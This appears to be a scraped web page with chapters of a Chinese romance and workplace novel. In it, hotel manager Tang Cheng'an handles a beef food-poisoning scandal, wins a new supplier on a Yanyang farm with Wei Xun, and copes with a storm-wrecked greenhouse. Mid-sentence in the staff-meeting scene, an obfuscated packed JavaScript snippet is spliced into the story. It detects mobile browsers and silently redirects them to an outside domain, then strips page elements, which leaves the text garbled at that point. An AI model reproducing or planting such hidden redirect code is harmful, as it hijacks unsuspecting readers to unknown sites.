唐成安被“美色”迷惑,不知不觉向魏寻靠近,想要轰轰烈烈来一场幻想中言情小说里女主偷亲男主的浪漫桥段。 可惜现实和理想是有差距的。 她靠近时的呼吸吹到魏寻脸上,导致魏寻惊醒突然动了一下,最后原本夹在她耳朵上的黑笔成了“主角”,硬生生刺入魏寻的鼻梁,也算是代替它的主人完成了这场亲密接触。 可怜的魏寻在睡梦中也遭到“队友暗算”。 唐成安为此也追着魏寻道歉,可魏寻每次都笑眯眯地安慰她,从来没有任何愠色。 正是魏寻从来没有因此怪过她,反倒让她更觉得愧疚,内心一直都很在意。 “护士,他这个鼻梁上的黑点能去掉吗?”她还是不死心多问一嘴。 “这个创口应该很久了吧,估计已经长到肉里去了,恐怕是去不掉的。”上药的护士稍微帮忙瞧了一下,给出了否定的答案,“你先去药房拿个药吧。” 唐成安懊丧地接过单据,留魏寻在诊疗室里上药,自己一个人跑去药房拿药。 对照药单核对清楚开的药后,唐成安正打算离开,却被外面急促的救护车鸣笛声吸引了目光。 大厅内的医生护士瞬间忙碌了起来,门口一个接一个的担架被抬进室内,上面躺着的几乎都是吐到面色苍白的病人,症状稍微轻一点的也是捂着肚子,虚弱地扶墙慢慢跟着挪进来。 唐成安赶紧跑去搀扶其中一个颤颤巍巍的病人,询问事情原委。 “别说了,乐兴酒店今晚举办的晚会上的牛肉有问题,吃死人啊。” 什么?这是什么情况? 唐成安急忙拨了个电话给赵姐,想要了解详细情况。 “喂?赵姐,听说我们酒店牛肉有问题,这是怎么回事啊?” “哎哟,好像是送来患了牛瘟的牛肉,备菜的人没在意,把这些病牛肉当正常的全上了,大厅里吐了一片啊……”电话对面的赵姐急得声音都在颤抖,听起来已经完全不知所措了,“哦对了,你没吃吧?” “别担心,我没吃,老余那边怎么说?” “估计是要负全责了,这下可赔不少钱。” “你们先别担心,经理层那边肯定有动静,我刚好在医院观察一下情况,可能要先麻烦赵姐你暂时替我对接一下酒店的工作。” 赵姐连忙答应并挂断了电话,唐成安得知这个消息紧咬嘴唇,脑袋极速思考公关政策。 “怎么了?” 魏寻刚包扎完伤口,一出来也被这一趟趟的担架吓坏了,又看到唐成安一个人站在大厅里 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“那条鱼不是有根特别标注出来的红线吗?居然只是一个参与奖?”身后的魏寻冷不丁冒出一句。 唐成安转过头看他,耸了耸肩说:“那是条钻进了鱼尾的寄生虫而已,才不是什么红线。” 魏寻一瞬间被这个出乎意料的结果噎住了,傻愣在原地。 “哼,没想到吧,你以为你占了便宜,其实老天在给你下套呢。” 唐成安这话说得阴阳怪气,不知道是在嘲讽自己,还是床上那两个拖油瓶。 不过她虽然嘴上嫌弃,也还是细心帮唐成泰掖好被角,倒了两杯温水端给他们。 “话说我们家这俩都来了,肯定也少不了周胜天吧。”唐成安猛然想起些什么。 论起贪小便宜,周胜天比起唐成泰和唐玉山可谓是有过之而无不及。 “刚通完电话,老周和财神都中招了,尤其是老周,现在护士正在照顾。” “那你快去看看他们吧,这边我一个人能行。” 眼见唐玉山和唐成泰现在已经差不多清醒好转许多,魏寻这才放下心离开去照顾周胜天和向才申。 不过即使他渐渐走远了,也还是能隐约听见背后唐成泰喊烫的抱怨以及唐成安低声的呵斥,两个人唱双簧一样的打闹,全然没有食物中毒的虚弱。 还真是热闹的一家人。 - 这次的大型食物中毒意外,在晚会开办前大肆宣传的煽风点火之下,闹得南州人尽皆知,新闻报道铺天盖地,乐兴这次真是出力不讨好。 出于紧急公关的需要,酒店经理层一连好几天都召开了持续将近一整天的商讨会议。 保卫处通过监控调查出这次食材购入的负责人,人事部让他领了处分并强制辞退。 采购部门又发现这批病牛肉其实是供应商和负责人串通好,以低价强行塞入库存的,说明供应商那边对这批牛肉的实际情况心知肚明。 既然如此,那赔偿费的大部分都应该由供应商负责,乐兴的财政压力因此小了不少。 不过最大的问题还是供应商衔接,酒店每天牛肉的需求量过大,如果不尽快找好下家,乐兴只会迎来更大的损失。 这几天没完没了的会议和电话,日趋紧张的财务状况,那些经理层的老家伙又趁机不断给她施压,把唐成安折腾得心力憔悴。 同时每天还要照顾还没完全康复的唐玉山和唐成泰,所以她几乎一回到家就像个瘪了气的气球,整个人蔫蔫地扑在床上,彻底没了力气。 长时间加班和劳累让她平躺着看天花板都觉得眩晕,于是赶紧转了个方向。 无意之中,她偶然瞟到放在书桌上魏寻曾经给她的那个墨绿封皮的笔记本,突然从床上坐起来,似乎想到了什么。 第二天,唐成安就气喘吁吁地来到人才公寓,敲开了魏寻的大门。 “快带上周胜天跟我走!” 14. 《吉祥三宝》 距离南州大约一百公里以外的堰阳是出了名的“绿色城市”,那里有着完全不同的特色风景——四季草场。 堰阳的草地如绿波碧浪,在安静的午后,阳光透过云层,投下斑驳的光影,绿色的海洋又泛起了金色的波浪。 蒲公英随风飘散,宛如记忆中的星夜,点缀着大地,和谐而宁静,青草的淡淡腥味有时也会勾人地飘入车内,留下不少驻足的旅客。 奔波了大约一个小时,唐成安和魏寻终于能下车松松筋骨,脚踩软绵绵的草地,温熙的阳光照得周身暖洋洋的。 原本计划一同前来的周胜天却因为当时吃了太多牛肉,状态还没完全好转,无福见证美景,最后只能远程支援。 这趟旅程,是两个人的旅行。 “是这家吗?” 魏寻跟着唐成安进入了一家面积不小的陌生农场,他不知道唐成安是怎么和这户远在堰阳的人家有联系的,所以有些好奇。 唐成安什么都没说,只是招招手示意他跟上。 广袤的草地上,牛羊星星点点散落在各处,低着头啃下鲜嫩的绿草,这是和南州完全不一样的风景。 “小天!小天!!”唐成安忽然朝着四周大声叫唤起来。 没喊几声,一个穿着宽大的涤棉深灰农场工作服,看上去只有十六岁左右的男孩从棚里探出头来。 他一看到唐成安,就兴奋地跳起来招呼她过去。 想必这个男孩就是小天了。 魏寻也跟上她的步伐,小步跑到红棚旁边,伸出手向男孩问好。 凑近一看才发现,男孩的脸庞已经被阳光晒得黝黑,汗水早已浸湿了额头,眼神里透露出不同于同龄人的单纯和清澈。 他也有礼貌地脱下满是泥土的手套,在腿侧干净的衣服上擦了擦手,握住魏寻示好。 男孩不过十六七岁的样子,双手却早已被农活锻炼得粗糙不堪,手掌宽厚结实,浑身上下都是质朴的气质。 唐成安赶紧介绍了一下双方: “魏寻,这是小天,全名赵天,现在读高一,他爸是这个农场的主人。” “小天,这个是魏寻,我的朋友,这次陪我一起来谈事情的。” 没想到刚说完,小天就突然看着魏寻两眼放光,双手握得更紧了。 “魏寻?是那个魏寻哥哥吗?!”他对着魏寻激动地喊叫。 魏寻被这孩子突如其来的热情怔住了,几乎都没察觉到已经被握得变形的手掌。 还没等他反应过来,唐成安便着急忙慌地插进二人中间,恶狠狠瞪了小天一眼才得以把两人扯开,又勾着小天的肩膀走到另一边低声交谈,动作鬼鬼祟祟的。 “你别表现得这么激动,冷静一点。”唐成安一脸恨铁不成钢的样子。 小天依旧难掩激动:“成安姐,你就告诉我,到底是不是那个魏寻哥哥?” 唐成安拿这个死脑筋的孩子没办法,无奈地点头承认了。 一经得证,小天高兴得嘴角直接咧到后耳根,露出一排排整齐的大白牙。 要不是被唐成安强拉着,他都快要蹦到屋顶上去了。 但唐成安在嘴唇上比了个“嘘”的手势,暗示他不要声张,没办法,他也只好乖乖听话。 见小天的心情稍微平静下来,唐成安这才开口问他正事:“你爸爸去哪了?” “哦,他去处理纠纷了,好像是有个饭店污蔑我们家牛肉有问题,这一闹估计是要傍晚才能回来。” “要留到傍晚啊……”唐成安没想到时间这么不凑巧,有些发愁。 小天拍了拍她,一脸兴奋对她说:“没事呀,我们家农场这么大,你和魏寻哥哥可以直接玩到傍晚,等我爸回来了你们再谈事情嘛!” 唐成安看着这孩子的眼睛,心里清楚他在打什么算盘,但酒店食材供应问题刻不容缓,错过今天这次说不定赶不上下次了,斟酌过后她也只好就这么应下。 “快来挑一匹马骑骑!”这下正合心意,小天立刻像中了大奖一样拉着唐成安的手就往马棚跑,中途还不忘招呼魏寻一块过去,“魏寻哥哥你也来!” 没想到小天家不仅把牛羊养的好,连马也养得毛色亮丽、四肢精壮,唐成安一眼就看中了其中的一匹黑马。 不过这马在电视里看着威风,当自己真正走进看的时候,就有些高大得吓人了,再加上她又不会骑马,踩上马鞍都战战兢兢的。 好在前面有饲养员紧紧牵住缰绳,引着马缓缓沿着山坡行走。 走了一段时间后,唐成安便逐渐习惯了高度,用身体感受马匹走路的颤动和肚皮呼吸的频率,慢慢放松下来,欣赏农场的风景。 魏寻和小天就坐在远方的草垛上,静静看她自在地骑马。 小天紧贴魏寻坐在右侧,时不时地转过眼睛偷看他,嘴里好像想说些什么。 魏寻的余光感受到他的反常,转过头温柔地问他:“有什么事吗?” 小天意料之外对上魏寻的双眼,紧张地扭过头,不自觉抠起了指甲,好半天也没说出一个字来。 魏寻看出男孩的胆怯,于是先抛出个话题:“你是认识我吗?” 自从小天听见他名字流露出不自然表现的那一刻起,各种怀疑全都一拥而上,魏寻觉得没有比此刻更好的能让他一探究竟的时机了。 意料之中,小天听了简直像捣蒜一般疯狂点头,瞬间将刚才唐成安的交代抛之脑后,激动到说话都有些磕巴:“你,你是我的偶像!” 一面之缘、同校学长……魏寻任何可能都设想过,就是没料到偶像这么个身份。 他们两个一个在南州,一个在堰阳,可以说是从没见过,又何来的偶像一说。 小天似乎知道自己刚刚说的话没头没尾的,于是接着补充道: “事情还要从四年前说起……”他整理了下衣服,挪动屁股挑个舒服的坐姿,清清嗓子准备好长篇大论一番。 那时小天刚上初中,成绩不太好,他爸妈又经常忙于农场的杂事,几乎没空管他。 也不知道小天爸爸从哪里听来的大学生家教的事,那段时间铁了心要给他找个一对一的家教。 但是在堰阳,大家大多做的是农业生意,大部分人家都宁愿早早辍学,直接继承家里的农场,也不愿花钱读书,去赌一个不清不楚的未来。 所以相比外地,在堰阳能考上大学的人几乎是凤毛麟角。 小天爸爸显然不属于这类人,为了让儿子能够读书,他甚至下定决心跑去附近的南州找人。 但这个没读过书的中年人死板得很,又不愿意花钱,开的价钱很低,加上两地离得也有些距离,因此很多大学生不愿意来教。 青春期里的孩子哪有心思读书,小天本来因为他爸找不到家教处处碰壁,还沾沾自喜以为这事就这么算了,结果唐成安一个电话打过来,说不在意价钱,只要能教就行。 小天爸爸听了那叫一百个愿意,第二天就亲自开车把人从南州接了过来。 “成安姐一来,你的戏份也就跟着来了。” 小天说着说着就把一根稻草叼在嘴里,调皮地冲魏寻眨眨眼, “我还记得第一次见到成安姐的场面,她梳着个齐刘海,齐肩的头发半扎,身上穿了一件素色的牛仔背带裙,总之不太像我想象中大学生那种博学多识的样子。” 除了第一次见面,小天印象最深的还是她过来上课,居然什么都没准备,手里就拿了个笔记本。 他瞧这样子就觉得唐成安肯定不靠谱,谁知道她讲起语数英来还真是头头是道,颇有老师的样子。 每次讲完课,她就会安排小天自己做一会儿巩固练习,和当初魏寻辅导她时一样,认真负责。 小天正是趁着做练习的时间才偷偷看到她一直在翻那个带来的笔记本,看得那是非常认真。 “我想这一定是个神奇笔记本。”小天心中暗自猜测。 小男孩总有些不明来由的好奇心和好胜心,所以趁着唐成安出去的功夫,小天偷偷摸摸翻开了那个本子准备一探究竟—— 笔记本的纸张已经泛黄了,明眼人都能看出肯定是有些年头,但是不论是封皮还是内页,都平平整整的,没有一丝污染和折叠,看得出唐成安对这个笔记本相当重视。 这下小天更是觉得稀奇,耐不住好奇心继续翻看了里面的内容,每一科的知识点和重点题型罗列得清清楚楚,简直比市面上卖的辅导 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魏寻说出的这话与其说是在跟小天解释,不如说是在给自己一个警告。 小天这下可完全接不上话了——他不知道这两个人之间到底发生了什么,又或者是他一开始就猜错了。 他就这么静静地看着魏寻,地平线上倾斜的夕阳撒进了魏寻的眼睛,却照不亮他的心事。 魏寻看向远方的唐成安,她立在草地上逆着光朝他挥手,阳光把她的发丝勾勒分明,却唯独看不清她的面庞。 二十四岁的唐成安和十二岁的又有什么分别呢? 最终都会在流走的时间里,留下短暂的光芒却又匆匆而过。 就像再怎么用力,他也留不住逆光里的人脸。 是啊,小天还这么小,又怎么会懂呢—— 时光会替你做出未开口的告别。 话题在魏寻落寞的声线下终结,周围只剩下一片寂静,微风吹过草尖的沙沙声和远处鸟儿的鸣叫声也激荡不起任何情绪。 好在急促的来电铃声打破了这时沉闷的气氛,小天灵活跳下草垛接起了电话。 电话那头是粗狂的男声,小天对着电话一个劲的答应,没聊多久那头就先挂断了,随后便是小天转过身勾了勾手:“走吧,我爸来了。” - 和小天完全不一样,小天的爸爸人高马大,外面只穿了一件白色汗衫,露出两支臂膀筋肉贲张,脸上的粗眉像是要向天空冲去,整张脸看起来凶神恶煞的。 自从他俩进门,赵老板就一直动作不停地分拣饲料,工作很是忙碌,使得唐成安也不知道从何插空开口,就这样和魏寻楞楞地杵在原地许久。 “你们找我干嘛?”赵老板看到两个人木木的样子,也不想耽误时间,便先开了口。 唐成安见机赶紧表明来意:“我们酒店最近牛肉供应出了问题,想找您谈谈采买合作的事。” 赵老板听后冷笑一声,将手上的饲料拍干净,直起身来质问道:“南州的酒店跑来我们堰阳谈合作?这舍近求远的差事不会有什么陷阱吧?” 凭借以往交情,赵老板的语气本不该如此尖讽,唐成安猜想另有隐情。 然而与他交涉几轮后依旧无果,她估量赵老板似乎没什么合作的意思,也不太愿意继续说下去。 赵老板见她沉默了好一阵,以为是自己猜中了,居高临下地往围栏一靠,双手不屑地搭在栏杆上: “成安呐,话说难听点,我们都是生意人,要是你们诚心想要牛肉,我这里也给的出。” “只不过你们酒店的事新闻上可没少报道,食物中毒这么大一糗事,估计你们自身都难保了吧?” “实话告诉你们,前段时间我们就因为和老顾客闹翻,平白无故被泼了一身脏水,在堰阳的声誉已经一落千丈,”赵老板啐了一口痰,“我们这些靠天吃饭又没文化的人哪里玩得过你们生意人?哪天你们酒店倒闭了,回过头再背刺我一次,我这些牛肉怎么办?” “所以要谈合作,对我有什么好处?” 15. 《幸运52》 食物中毒导致乐兴财务紧张确实是事实,再加上舆情难以控制,乐兴遭受重创后还能维持多久恐怕唐成安自己都不太清楚。 生意人为自己着想自然没错,就算她和赵老板交情再深,这次的合作也很难谈成。 实在没了办法,唐成安只好偷偷扯了扯魏寻的袖子,示意他赶紧打电话给周胜天求助。 魏寻瞬间理解了意思,电话马上嘟嘟嘟响起。 “咳咳咳,喂?” 电话那头突然冒出的公鸭嗓把唐成安和魏寻吓了一跳。 “你,你嗓子怎么了?” “他这傻帽,吐到胃酸反流,把嗓子给整劈了。”向才申听周胜天的烟嗓都替他心累,干脆直接帮他把话说完。 唐成安见周胜天这次恐怕也无能为力,只得嘱咐他好好养身体,无奈挂断了电话。 没了说客,双方就这么站在仓库里干瞪眼,气氛尴尬。 唐成安见赵老板态度强硬,觉得这单估计没什么可能,准备拉上魏寻掉头离开。 哪知魏寻破天荒开了口,义正辞严地对赵老板说: “赵老板,我能理解您的考虑。” “乐兴最近确实出了大事,但请您放心,我们打算以正常价钱从您这购入食材,再以低价售出餐品,薄利多销,在这种非常时期也能稳住客源量。” “至于舆情问题,我们也会向社会公示与曾经供应商的解聘合同,公开宣布与您的农场合作,相信乐兴这些年积攒的口碑不会拖后腿。” “下午我看了整个农场的养殖机制,您很聪明,提前便料到了机器化管理的优势,但这些机器目前依然要靠人工监测,成本难以控制。” “如果与我们合作,我可以帮您将设备升级,所有器材通过编写的新程序统一控制,也能在一定程度上降低生产成本。” “当然,您的农场远在堰阳,南州人听得少,为了防止人们对您的牛肉存疑,乐兴可以主动承办农场游览参观活动,一来大家可以亲眼目睹食材品质,二来还能为您的农场打响名气。” “您说您可以得到什么好处?” 说辞条理有序,确实像是魏寻能说出的话,但一口气说这么多,对于平时少言寡语的他并不常见。 唐成安觉得自从魏寻这次回南州,他就好像变了个人。 难道是因为创业失败伤到了脑子? 总之他在自己面前经常会不明来由的傻笑,差点都让她忘了魏寻可是南州难得的高材生。 不过这下他也算是强势证明了自己,刚刚的一番说辞都快要把唐成安说动了。 赵老板也没了先前强硬的气势,反复摩挲下巴思考这个问题。 估计也觉得条件诱人却又碍于面子,赵老板装模作样思考了一会儿便立刻答应下来。 见合作已经板上钉钉,唐成安和魏寻两人松了口气,对视着会心一笑。 合作谈成了,赵老板自然没了先前傲慢的态度,和气地邀请他们留下来吃晚饭。 只不过刚一打开仓库门,一阵猛烈的风势就从打开的门缝里横冲直撞,朝里面的人袭来,外面的建筑和树木被吹的嘎吱嘎吱响,使人的耳膜都为之嗡嗡作响。 小天在外面一边强撑着身体把牛羊赶进棚内,一边又朝赵老板大喊:“爸,要下大雨了!” 赵老板看到这恶劣的天气,转头悻悻地对唐成安和魏寻两人说:“成安,不好意思啊,这天估计要下暴雨了,你们还是尽早回去吧,我就不留了哈!” 唐成安没想到天气居然毫无征兆变得这么快,再加上草地平坦广阔,没有建筑物遮拦,风力就更加凶猛,天空乌云密布,确实是暴风雨来前的警告。 而且回到南州的车程也有段距离,趁早走是好事。 于是她和魏寻礼貌地告别了赵家父子,顶着狂风躲进了叫来的计程车里。 父子俩也很热情,担心他们车上会饿,临走前塞了几袋面包和水果,让他们路上顶顶肚子,于是两人只能一人抱着一袋东西挤在后座。 唐成安刚上车坐稳,肚子就不争气地叫唤了几声,她自觉尴尬,于是急忙从袋子里掏出一个苹果啃了起来。 见车内没声,她又悄咪咪瞥过眼睛偷看魏寻,想知道他在干什么。 可能是上车前为挡自己挡风的缘故,魏寻衣服和头发上都散落了不少细小的泥尘,一对镜片更是积满了灰尘,压根看不清前方,所以他就坐在车上认认真真擦拭镜片,一声不吭。 司机师傅也不像来时的那位健谈,只顾沉闷地盯着前方的道路摆弄方向盘。 过于安静的气氛让唐成安有些不自在,于是她想主动打破沉寂,和魏寻聊些什么。 但她右手拿着啃了一半的苹果,左手抱着刚刚赵家父子给的面包,一时间腾不出手,只能别扭地一下一下把屁股挪过去,用肩膀碰了碰魏寻: “诶,你今天表现不错啊!那番说辞我都心动了。” 唐成安挑了挑眉,狡黠一笑。 “之前在北京创过业,练了会儿口才。”魏寻微微扬起嘴角,露出苦笑,语气浅淡。 唐成安有些震惊,魏寻回来好几个月了,这是第一次主动和她提起在北京的事。 虽然早就听向才申说过魏寻在北京那段糟糕的经历,但既然他从没主动和她说起,所以唐成安还是打算装作不知道,惊讶地问: “你在北京创过业呀?真厉害!” 魏寻见眼前这个满眼敬佩的女孩眼神炯炯地看着自己,心绪复杂。 他的肩膀有些下垂,鼻腔里呼出重重的一口气: “厉害什么呀,还不是输得一塌糊涂。” 即使唐成安早能料到魏寻的反应,可当这话真正从魏寻嘴里说出来时,每一个字都仿佛尖刺一样扎进她的耳朵,心脏在胸腔内闷闷地疼。 她强压内心的伤怀,故作释然地咧出一个笑容,声音提高了几度,试图打破聊天的低落氛围: “怕什么呀?姐在南州还有一个大山头呢,失败了大不了我养你!” 魏寻被她一番话逗笑了,周身扫去了刚才的丧气,露出温和的笑。 唐成安见魏寻高兴了,也冲他开心地眨眨眼,表情俏皮:“我是一直都很支持你的嘛!” 魏寻若有所思地望着唐成安,女孩的双眼即便在暴雨来临前阴沉的光线下,却依旧目光如澈,也正是这双眼睛,每次都能让他不自觉地痴痴陷进去。 无论是二十四岁还是十二岁,唐成安总能越过人群,无条件地偏袒他、支持他。 他自言自语似的低声念着: “是啊,只有你一直都支持我……” “你说什么?” 暴雨前短暂的沉静已经停止,头顶的乌云卷着霹雳的雷声轰炸而来,闪电撕破天空,倾下滂沱大雨。 雨点重重打在车窗玻璃上,嘈杂得几乎听不见人声。 “我说谢谢你!” 两个人目光交汇,相视而笑,眼神中流露出的别样情愫,无需言语也能感受到温暖融融。 - 唐成安没想到,好不容易过了一关,经理会的老家伙又忙不迭想方设法给她使绊子。 行政部的龙经理直接在乐兴员工大会上公开批斗,当着全体员工的面严厉指责唐成安不与其他人商量,擅自决定同赵家农场的合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673852|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作。 行政部在各部门中地位最高,再加上龙经理资历又是经理层中最深的,因此大家都不敢反抗。 食物中毒丑闻让乐兴财政受到的重创,恐怕这段时间内还很难缓过来,这些老家伙一听计划采取薄利多销的政策保住客流量就开始造反,担心会因此威胁到他们的工资。 唐成安当然知道他们想打什么算盘——无非就是想随便找个便宜的供应商,毕竟往来的客人也不是什么专家,肉质优劣谁分得出来?倒不如搞个“虚假营销”,省下成本才能保住资金。 这些老家伙一个个利己主义惯了,根本不在乎酒店往后的口碑,唐成安才不愿意和他们同流合污。 舆论已经不断发酵,保住群众的信任才是重中之重。 当然她也有一点私心——她知道魏寻一直想利用旅游业把南州带动起来,农场观光就是一次绝佳的机会,所以在这个问题上她绝不让步。 她不顾辈分和情面,重重拍响桌子干脆利落地起身,身板挺立面向全体员工,自信昂扬解释道: “酒店的财务情况没有人比我更清楚,薄利多销的计划和承办农场观光听起来花费巨大,但是目前的资金也是足够支撑的。” “可这次事件已经让酒店名誉严重下滑,想要长久经营必须以挽回口碑为先。” “堰阳的赵家农场牛羊品质我一清二楚,只有用更高品质的食材才能表达出我们酒店改正的决心,才能使群众信服。” “乐兴已经开了十年,难道这十年的延续都是因为我们酒店规模大,我们酒店会做菜吗?” “你们耍小聪明想以次充好,当真以为能逃得过群众的眼睛?” “用观光活动的方式,将乐兴和赵家农场联结起来,这是在两地打响知名度的好事,说不定我们还能借机吸引到堰阳的客源。” 唐成安颇有底气地扭头转向龙经理,鄙夷的目光死死瞪着他,语气带着浓重的轻蔑和嘲讽, “所以你这‘喷水龙王’把一肚子的坏水喷到我身上也就算了,可千万别沾上我们酒店。” 唐成安明白自己说的这话的确不堪入耳还目无尊长,但她绝对不能退缩,因为这是解救酒店的唯一办法。 如果酒店真的倒闭了,这些经理们可以拿着厚厚一沓工资养老,自然高枕无忧。 但是那些普通员工呢?就算为了他们,她也要拼一把。 龙经理被她怼得哑口无言,底下的员工听到唐成安居然胆大包天,敢当着本人的面嘲讽他的外号,一个个也都躲在背后偷笑。 也许是大厅内的所有人都被唐成安这番话怔住了,现场安静到连偷笑都变得刺耳。 龙经理的脸色瞬间铁青,仿佛有一股难以抑制的怒火在体内燃烧,将他的理智烧得面目全非。 他恶狠狠地转头对向余老板,想要挽回些颜面。 没想到一贯怂包的余老板这次也硬气了一回,他了解唐成安的品性,也足够信任她,所以当机立断,力挺唐成安的方案。 敲定决策后唐成安也是喜忧参半——她实在不知道现在的她能够理直气壮力排众议,将来的她又是否有足够的能力可以抗住乐兴上上下下几百位员工的生计和酒店的前景。 不论怎样,有几个字始终是她坚定的理由—— 「相信魏寻」 另一边,魏寻也在努力着,他接连熬了十个小时,总算把具体方案赶了出来。 只是刚迷迷糊糊小憩了没多久,身边手机的来电震动就又把他吵醒。 他没精打采地接起电话,对面是唐成泰捂着嘴的呢喃低语: “阿寻,出大事了,你快来!” 16. 《天下无贼》 唐成泰电话里没头没尾的一句话让魏寻干着急了一路,大早上跌跌撞撞跑到了温室大棚,眼前的场景却让他大惊失色—— 没想到昨晚的暴雨居然把人杀了个措手不及,烈风无情地生生掀翻了整个大棚,外层的薄膜早已破破烂烂穿了好几个大洞,像褴褛的破布一样在风中摇晃飘动。 整个大棚最后只剩下钢架歪歪斜斜地撑着残骸。 大棚周边满地都是新栽培却被摧败的瓜苗,先前花了大价钱购入的各种监测设备也只是零零散散留下几个,许多都不见踪影。 唐成泰正缩个身子蹲在田埂上,孤零零地拾着地上散落的瓜苗,看起来很是颓丧。 地里的泥土被雨水浸泡得十分黏湿,又混杂着山上刮下来大大小小数不清的石块和落叶,害得魏寻几乎无处下脚。 他好不容易踩着高处来到唐成泰身边,唐成泰却什么话也不说,只是瘪着嘴指了指大棚里边。 魏寻又接着艰难地走进大棚,刚进去就看见唐玉山站在门口默默低着头,双手叠在一起,暗暗地用力抠着指腹,整个人像只泄了气的皮球,脸色惨白,神情沮丧,满脸的愧疚模样。 蹲在唐玉山的面前是双手抱着头,蜷缩成一团的唐成安。 魏寻扶着腿挨着她慢慢蹲下,轻轻碰了碰她的肩膀。 唐成安被触碰惊起,猛一抬头,露出的是遍布泪痕、面容苍白的脸。 眼前的人似乎已经崩溃大哭过一场,头发是被挠后乱糟糟的模样,两只原本清透的眼睛如今却红肿不堪。 魏寻看到平日里明媚烂漫的女孩如今这般疲惫的样子,心中油然升起一种说不出来的心疼,从他心底翻滚、汹涌地冲到咽喉处,堵得让他发不出声来。 唐成安看清眼前的是魏寻,阵阵的委屈感席卷而来,好不容易憋住的眼泪一下子决堤般夺眶而出。 但她又不愿让魏寻见到自己的狼狈,倔强地转过头,用手臂遮住脸低声呜咽着,身体止不住地颤抖。 他知道唐成安此刻需要时间独自整理心情,于是默默起身,把唐玉山拉到了外面。 魏寻皱着眉头,轻声询问怏怏的唐玉山:“唐叔,这到底怎么了?” 唐玉山也自觉愧疚,眼神飘忽,扭捏半天才结结巴巴吭出几句话来: “昨,昨天晚上我忘记锁门了,今天早上一来看,就,就成这样了……” 忘记锁门?这都能忘? 魏寻听了差点背过气去,叉着腰来回踱步,长长叹息一声,想要舒尽胸中的郁气。 看守温室大棚又不需要时时刻刻盯着,大棚内部本身就有自我调节系统,人只不过就是偶尔来瞧一眼有没有什么故障罢了。 这么简单轻松的一件事,别人都巴不得轮到自己,唐玉山却能自己砸了自己的饭碗。 魏寻强压心中的怒火,一只手撑着额头继续追问:“不是,您怎么会忘了锁门呢?” 唐玉山一脸心虚,眼神根本不敢对上魏寻:“打,打麻将打迷糊了,就给忘了……” 魏寻这回被噎得简直无话可说,唐玉山都五十好几的人了,做事却还像个孩子,毛手毛脚不管不问的。 乐兴目前又恰好处在崩溃的边缘,经理层上上下下好几双眼睛盯着唐成安的一举一动,她一个那样年轻的女孩子不得不顶着四面八方的压力,精神上已经是强弩之末了。 可家里无所事事的二哥和成事不足败事有余的老爹偏偏还要过来横插一脚。 魏寻闭上眼,已经不敢再想下去了。 他看着旁边双手紧紧捏着衣角,背上像压了块巨石一样佝偻驼背的唐玉山,想必唐玉山他自己也觉得没有脸面,一直死死咬住下唇不敢说话。 现在已经到了这地步,即使再怎么责怪也是无济于事。 魏寻长舒一口气,语气平和地嘱咐唐玉山先把满地残局收拾一下,之后的事情他再来想办法。 唐玉山自知理亏,耷拉脑袋听话地挪去唐成泰身边,灰溜溜一块捡起地上散落的瓜苗。 魏寻见棚内的唐成安没什么动静,心中惴惴不安,但自己实在又不知道该说什么。 慌乱和难受像棉花一样拥挤在他的喉咙,他却也只能指尖轻抖,茫然无措。 他刚想进去棚内试着安慰些什么,唐成安就忽然面无表情走了出来。 她微微抬眼看了一下面前的魏寻,眼神却又立刻沉下来,沉重地小步走到大棚的另外一边。 魏寻赶紧慢慢跟住,静静地陪着她坐在田埂上。 唐成安的泪水混着发丝紧紧贴在她的脸上,每一道泪痕都如同滚热的沸水,一寸一寸烫在魏寻心里。 他望着她实在心疼,有种想立刻把她抱入怀中的冲动,可最后却只是用力地握紧了拳头,硬生生地将自己这样的念想压了下去。 “要不,我们还是放弃吧……” 他笨拙地开口,现在的他已经完全不在乎自己的想法是否能坚持下去,他只是想让眼前的女孩示个弱,不要再自顾自地强撑,就这样得过且过好好歇一歇。 “怎么可能呀?”唐成安的语气有些自嘲,“酒店上上下下都还等着我呢。” 她的说话的语气越轻松,魏寻心里就被揪得越紧。 唐成安用力擦干脸上的泪痕,打了几下自己的脸,企图打起精神,朝着魏寻努力挤出一个笑容。 “哎,这下还真是……有点不好意思见老余了……” 唐成安表情看上去轻松,声音却带着哽咽。 她挠挠头,缩了缩鼻子自言自语:“看来还是要赔了那套房子才行啊……” 魏寻第一次听说房子这事,他以为唐成安天天同唐玉山他们住在一起,就是因为自己没有住处。 直到现在才知道,原来她早就攒够了钱买过一套房子。 可她为什么还要和父兄住在一起呢?唐家这两人是出了名让人头疼的角色,成天为他们善后又图个什么呢? “你既然有房子,那为什么还要和唐叔他们住在一起?” 唐成安显然被他问住了,楞楞地看了他一会儿,没多久又转过头去,眼睛望向远方山坡上随风摇曳的金桔树,露出看不懂的笑。 “很多人都有这种体验吧,好不容易工作回到家,嘟囔着嘴和家里人抱怨一天的不顺,然而换来的却是家人的不屑,甚至是责怪,有时还就此互相比起了惨。” “其实一斤棉花一斤铁一样重。” “向家人提苦不是不想努力了,只不过是撒撒娇而已。” “连家人都不理解不心疼,否认自己辛苦的同时还攀比起各自的 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他伸出手,从下方缓缓向上触碰唐成安的手心,接着便紧紧地与她十指相扣。 唐成安渐渐感受到掌心传来的温度,她知道,这是少年笨拙的呵护。 两个人无言端坐在田埂上,周边的世界安静得仿佛只剩下了彼此。 - 处理好没用的瓜苗和破损到无法修复的器材后,唐成安便领着唐玉山去余老板办公室“负荆请罪”了。 余老板心肠软,念在旧情上只罚了唐成安半年的工资,等唐玉山把检讨和辞职信一并交上来之后,这件事就这么作罢。 自培蜜瓜这条特色产业线被自家老爹作没了,唐成安无可奈何,只能反过头来重新把希望寄托于刘姐的金桔薄荷酥糕。 “成安,真不是我不愿帮你,只是你也要体谅体谅我婆婆啊。” 无论说多少次,刘姐依然还是那个忧虑, “或者我把做法教给你,你以别人的名义卖出去,给我留一小部分分红就行。” 刘姐知道唐成安的难处,也是极尽心思想要帮忙,无奈之下才想出了这个主意。 唐成安连忙一个劲地摇头,坚决表示不同意。 